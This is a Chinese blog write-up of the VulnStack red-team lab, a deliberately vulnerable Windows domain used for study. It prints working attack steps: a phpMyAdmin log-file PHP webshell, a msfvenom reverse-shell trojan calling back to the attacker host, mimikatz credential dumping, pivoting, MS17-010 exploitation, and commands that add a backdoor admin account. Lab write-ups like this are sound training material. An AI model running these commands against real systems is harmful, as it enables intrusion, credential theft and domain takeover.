VulnStack之ATT&CK实战系列———红队实战(一)

前言

这个靶场是红日安全团队推出的红队实战系列第一个靶场,其中包括了漏洞利用、内网搜集、横向移动、构建通道、持久控制等多个环节。是一个不错的学习内网渗透的环境,这里仅记录我的打靶学习过程。

环境搭建

靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

文件下载下来有三个压缩包,分别对应域中三台主机:

  • vulnstack-win7 对应Windows 7是Web服务器

  • vulnstack-Win2K3 Metasploitable 对应Windows Server 2003是域成员

  • vulnstack-winserver08 对应Windows Server 2008是域控

网络拓扑示意图:

image

虚拟机网络配置:

  • Web服务器(Windows 7):需配置为双网卡模式,网络适配器设置为自定义(VMnet1仅主机模式),另外再添加一个网络适配器设置为NAT模式

  • 域成员(Windows Server 2003):网络适配器设置为自定义(VMnet1仅主机模式)

  • 域控(Windows Server 2008):网络适配器设置为自定义(VMnet1仅主机模式)

  • 攻击机(Kali):设置为NAT模式

此时Windows 7和Windows 2003及Windows Server 2008处于同一内网中,kali仅可以访问到windows 7。

虚拟机IP地址分配:

  • kali:外网 192.168.88.128

  • Windows 7:外网 192.168.88.137,内网 193.168.52.143

  • Windows Server 2003:内网 192.168.52.141

  • Windows Server 2008:内网 192.168.52.138

启动Windows 7的C盘下的phpstudy开启web服务,外网可访问:

image

如果出现错误“phpstudy已经停止工作”,解决方案参考:https://blog.csdn.net/qq_43871179/article/details/125307581

全部都准备完毕以后就可以开始渗透了!

外围打点

信息收集

主机发现:

image

端口扫描:

首先使用nmap扫一下web服务器的ip地址:

image

扫到了一个80端口,访问80端口,发现是一个phpStudy探针页面:

image

暴露了网站绝对路径为C:/phpStudy/WWW,php版本为5.4.45,GPC关闭,支持数据库等信息,底部还有MySQL数据库连接检测的功能。

继续使用nmap扫一下MySQL数据3306端口是否暴露:

image

可以确定3306端口对公网暴露,测试弱口令root/root是否可以连接数据库:

image

数据库连接正常:

image

目录扫描:

继续使用dirsearch扫描一下网站目录:

image

发现存在phpmyadmin目录。

phpmyadmin全局日志getshell

使用弱口令root/root对phpmyadmin进行登录:

image

登录成功,尝试是否可以直接写入一句话木马,查看系统变量secure_file_priv的值:

image

此处的变量值为NULL,即没设置允许操作的目录,所以没法导入和导出到文件。

试试看能不能通过日志文件来写入一句话木马,查看全局变量general_loggenera_log_file的值:

image

此处全局日志功能是关闭的,若开启后,执行过的sql语句都会保存到stu1.log文件。所以这里开启全局日志,并根据前面网站根目录将日志保存位置修改为C:/phpStudy/WWW/shell.php

set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/shell.php';

再次查询全局变量:

image

查询一句话木马select '<?php eval($_POST[abc]);?>';写入日志:

image

使用蚁剑连接一句话木马http://192.168.88.137/shell.php

image

在根目录可以看到除了phpmyadmin,还有一个cms系统yxcms和一个备份文件beifen.rar,到这里后台getshell完成。

内网信息收集

msf上线

通过msf生成一个反弹连接的木马cc.exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe -o cc.exe

image

将msf木马上传至Win7主机(没有杀软不用免杀):

image

Kali本机使用msf开启监听模式:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.88.128
run

image

使用蚁剑的虚拟终端执行网站根目录下的cc.exe木马,之后成功获取meterpreter shell:

image

到这很顺利,基本拿下了web服务器,接下来继续对内网进行渗透。

mimikatz抓取明文密码&hash

通常获取meterpreter shell之后是一个低权限,需要进行提权。但是靶场环境比较简单,使用getuid命令获取到当前的用户是管理员账号GOD\Administrator,并且使用getsystem命令尝试自动提权,很容易就提升到了system权限。

image

现在是一个比较高的权限,所以直接使用mimikatz来抓取明文密码(mimikatz模块已经合并为kiwi模块,使用kiwi模块需要system权限)。

查看当前系统信息,可以看出目标系统是64位的:

image

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用,将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。

查看当前进程列表,可以看出lsass进程是以system权限运行,PID为504:

image

现在需要把meterpreter shell进程迁移到PID为504的lsass.exe进程里:

migrate 504

接着加载kiwi模块,可以直接列举所有凭据:

image

我比较喜欢mimikatz的功能,信息更全一些:

kiwi_cmd sekurlsa::logonpasswords

image

获取到的Administrator的明文密码以及LM Hash和NTLM Hash,所以可以尝试域内的域成员和域控横向移动。

域信息收集

域信息的收集就主要包括域内主机系统信息收集,网络拓扑信息收集,漏洞信息收集等。

这里使用shell切换到目标主机的cmd(chcp 65001可以避免cmd字符中文乱码):

image

使用systeminfo获取主机详细信息:

image

使用net config Workstation命令查看当前计算机名称以及所在的工作站域等信息:

image

使用net group /domain命令查看域内所有用户列表(system权限):

image

使用net group "domain computers" /domain命令查看域成员计算机列表(system权限):

image

使用net group "domain admins" /domain命令查看域管理员用户(system权限):

image

综上可以基本判断出:

当前用户是管理员账号GOD\Administrator,当前主机内网ip地址为192.168.52.137,内网网段为192.168.52.0/24,当前域为god.org,本机计算机名称是stu1,域管理员用户是OWA,另外还有两个域用户DEV1和ROOT-TVI862UBEH。

通常我们是不清楚内网拓扑的,所以这里先不着急,继续深入收集内网主机的信息。

目前已知内网网段为192.168.52.0/24,查看arp缓存表,发现另外两台内网主机ip地址分别为192.168.52.138和192.168.52.141,但是目前还不能确定它们的身份。

image

好消息是Win7已经安装了nmap工具,所以不需要再手动安装了,可以进一步针对192.168.52.0/24内网网段进行信息收集。

image

对内网网段进行nmap扫描:

cd C:\Program Files (x86)\Nmap && nmap.exe -sS -T4 -A 192.168.52.0/24

拿到了一共三台主机的扫描信息:

192.168.52.138:

Nmap scan report for 192.168.52.138
Host is up (0.00s latency).
Not shown: 982 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp    open  http         Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-20 12:59:44Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc        Microsoft Windows RPC
49161/tcp open  msrpc        Microsoft Windows RPC
49167/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:22:33:12 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|phone
Running: Microsoft Windows 2008|8.1|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
Service Info: Host: OWA; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: OWA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:22:33:12 (VMware)
| smb-os-discovery: 
|   OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: owa
|   NetBIOS computer name: OWA\x00
|   Domain name: god.org
|   Forest name: god.org
|   FQDN: owa.god.org
|_  System time: 2024-06-20T21:02:17+08:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-06-20T13:02:17
|_  start_date: 2024-06-19T14:33:31

TRACEROUTE
HOP RTT     ADDRESS
1   0.00 ms 192.168.52.138

可以看到192.168.52.138操作系统是Windows Server 2008 R2,计算机名是owa,所以基本可以确定192.168.52.138就是域控。


192.168.52.141:

Nmap scan report for 192.168.52.141
Host is up (0.00s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE         VERSION
21/tcp   open  ftp             Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
135/tcp  open  msrpc           Microsoft Windows RPC
139/tcp  open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds    Windows Server 2003 3790 microsoft-ds
777/tcp  open  multiling-http?
1025/tcp open  msrpc           Microsoft Windows RPC
1028/tcp open  msrpc           Microsoft Windows RPC
1029/tcp open  msrpc           Microsoft Windows RPC
1030/tcp open  msrpc           Microsoft Windows RPC
6002/tcp open  http            SafeNet Sentinel Protection Server 7.3
|_http-server-header: SentinelProtectionServer/7.3
|_http-title: Sentinel License Monitor
7001/tcp open  afs3-callback?
7002/tcp open  http            SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
|_http-server-header: SentinelKeysServer/1.0
|_http-title: Sentinel Keys License Monitor
8099/tcp open  http            Microsoft IIS httpd 6.0
|_http-server-header: Microsoft-IIS/6.0
|_http-title: The page must be viewed over a secure channel
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V=7.80%I=7%D=6/20%Time=667427F4%P=i686-pc-windows-windows%r
SF:(TerminalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,
SF:5,"\x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServ
SF:er,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x
SF:06");
MAC Address: 00:0C:29:1B:B5:0A (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

Host script results:
|_clock-skew: mean: -3h59m59s, deviation: 5h39m23s, median: -7h59m58s
|_nbstat: NetBIOS name: ROOT-TVI862UBEH, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:1b:b5:0a (VMware)
| smb-os-discovery: 
|   OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
|   OS CPE: cpe:/o:microsoft:windows_server_2003::-
|   Computer name: root-tvi862ubeh
|   NetBIOS computer name: ROOT-TVI862UBEH\x00
|   Domain name: god.org
|   Forest name: god.org
|   FQDN: root-tvi862ubeh.god.org
|_  System time: 2024-06-20T21:02:19+08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.00 ms 192.168.52.141

可以看到192.168.52.141操作系统是Windows Server 2003,计算机名为root-tvi862ubeh,所以也基本可以确定192.168.52.141是另一个域成员。


192.168.52.143:

Nmap scan report for www.qiyuanxuetang.net (192.168.52.143)
Host is up (0.00s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1028/tcp open  msrpc        Microsoft Windows RPC
1029/tcp open  msrpc        Microsoft Windows RPC
1117/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
Device type: general purpose
Running: Microsoft Windows 8.1|7|2008
OS CPE: cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2
OS details: Microsoft Windows 7 or 8.1 R1 or Server 2008 R2 SP1
Network Distance: 0 hops
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:01:5e:ae (VMware)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: stu1
|   NetBIOS computer name: STU1\x00
|   Domain name: god.org
|   Forest name: god.org
|   FQDN: stu1.god.org
|_  System time: 2024-06-20T21:04:10+08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-06-20T13:04:10
|_  start_date: 2024-06-19T15:38:20

Post-scan script results:
| clock-skew: 
|   -2h39m59s: 
|     192.168.52.138
|_    192.168.52.143 (www.qiyuanxuetang.net)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in 325.12 seconds

192.168.52.143也就是win7本机,计算机名为stu1。

接着使用nmap的脚本进行内网漏洞的扫描:

nmap --script=vuln -p 1-65535 192.168.52.143

image

扫描发现win7(192.168.52.143)存在ms17-010漏洞。

nmap --script=vuln -p 1-65535 192.168.52.141

image

扫描发现域成员(192.168.52.141)存在MS08-067和ms17-010漏洞。

nmap --script=vuln -p 1-65535 192.168.52.138

image

扫描发现域控(192.168.52.138)同样存在ms17-010漏洞。

内网信息的收集到这就基本差不多了,因为Web服务器上来就拿到了管理员system权限,所以说难度降低了不少。

横向移动

现在拿到了Web服务器的meterpreter shell,但是还不能直接访问内网网段。需要添加到目标环境网络的路由,才能使msf可以通过Win7转发访问192.168.25.0/24网段。

使用run get_local_subnets取目标内网相关信息:

image

添加去往192.168.52.0/24网段的路由信息:

run autoroute -s 192.168.52.0/24

image

实际上直接添加到0.0.0.0/0的路由也可以,Win7主机可达msf也都可以达。

msf+proxychains搭建socks5代理隧道

添加socks代理:

当前使用msf自带的模块对内网的主机进行探测时,msf的流量会根据路由信息直接送到对应的目标网段。但如果使用kali上其他的渗透工具,则需要一个代理帮助转发流量。这里就使用msf作为代理,由msf的路由将流量带入到内网中。具体做法就是加一个socks代理模块,监听本地的端口,然后再通过这个端口将流量转给msf即可。

我使用的是msf6环境,使用socks5代理模块:

image

use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
run

# 默认监听在1080端口

image

编辑/etc/proxychains.conf文件加上socks5代理服务器和端口:

image

试一试proxychains4代理本地的nmap能否扫到内网的域控:

image

proxychains4 nmap -sT -Pn 192.168.52.138 -p 445

看到可以成功访问,但是需要注意的时proxychains4只对tcp流量转发,所以udp和icmp都不能代理转发。所以使用使用proxychains4代理nmap扫描主机时,必须加上-sT和-Pn两个参数。

MS08-067漏洞利用

根据前面信息收集的漏洞扫描结果发现域成员Windows 2003开启了445端口SMB服务,同时也存在MS08-067和MS17-010两个漏洞。

先来看看MS08-067漏洞的利用:

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

它影响了某些旧版本的Windows系统,包括:Windows 2000,Windows XP,Windows Server 2003

直接搜一下MS08-067漏洞的exp:

image

将payload设置为常规的反向tcp连接,试了几次都不成功:

image

发现有路由,但是ping不通目标主机:

image

原因很有可能就是只有过去的路由,没有回来的路由,目标主机无法直接连接到攻击机,所以说反向连接行不通。

将payload设置为正向tcp连接bind_tcp试一试:

use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
set lport 4444
run

采用正向tcp连接到445端口,proxychains代理nmap扫描445端口状态正常:

image

结果还是出现了问题,试了很多次始终无法正常连接(应该不是防火墙的问题),换了其他的正向payload还是无法成功......有可能是我的msf版本比较高导致的无法正常连接。

参考:https://www.cnblogs.com/huaweiyun/p/15559938.html

MS17-010漏洞利用

前面的ms08-067漏洞暂时没有好的利用方案,继续另一个ms17-010漏洞。

永恒之蓝漏洞(ms17-010)是在445端口的SMB服务处理SMBv1请求时存在缓冲区溢出,造成远程代码执行漏洞,受影响的Windows版本有很多。

msf搜到的ms17-010漏洞exp有5种:

image

挨个试一试:

第一个exploit/windows/smb/ms17_010_eternalblue模块:

image

很明显不行,Windows server 2003是32位的,这个模块只支持64的系统。

第二个exploit/windows/smb/ms17_010_psexec模块,payload还是采用正向tcp连接:

image

仍然无法有效获取会话。

第三个auxiliary/admin/smb/ms17_010_command模块执行命令:

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

image

执行命令可以成功,可以尝试通过执行命令,开启3389端口进行远程桌面登录:

依次执行:

#开启3389端口
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

#添加用户
set command net user root 8888 /add

#添加管理员权限
set command net localgroup administrators root /add

image

然后使用添加的用户登录:

proxychains rdesktop 192.168.52.141

image

前面通过执行whoami命令回显的是sysytem权限,基本上这台域成员就已经拿下了。

获取域控服务器

根据前面信息收集的漏洞扫描结果域控服务器存在MS17-010漏洞,其中exploit/windows/smb/ms17_010_eternalblue模块和exploit/windows/smb/ms17_010_psexec模块正向连接仍然不好使。

命令执行模块auxiliary/admin/smb/ms17_010_command有效果:

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run

image

所以接下来和windows server 2003主机的操作一样了,使用开启3389端口远程桌面登录。

在或者使用mimikatz拿到的域控用户和明文密码,利用wmi的方式拿下域控的shell,然后再尝试提权到system权限。关于wmi的利用后面后单独复现一下。

总结

总之整个打靶过程还是有不少收获的,整个过程大致就是,弱口令登录phpmyadmin,利用日志文件写入一句话木马,Web服务器getshell,利用msf反弹shell,内网扫描信息收集,流量代理转发,最后利用ms17_010漏洞拿下域成员和域控服务器。

其实靶场提供的漏洞环境远不止这些,还有redis getshell,MySQL提权,WMI利用,票据传递等没有复现到,这次记录就先到这里,共勉!


若有错误,欢迎指正!o( ̄▽ ̄)ブ

posted @ 2024-06-22 22:45  smileleooo  阅读(354)  评论(0编辑  收藏  举报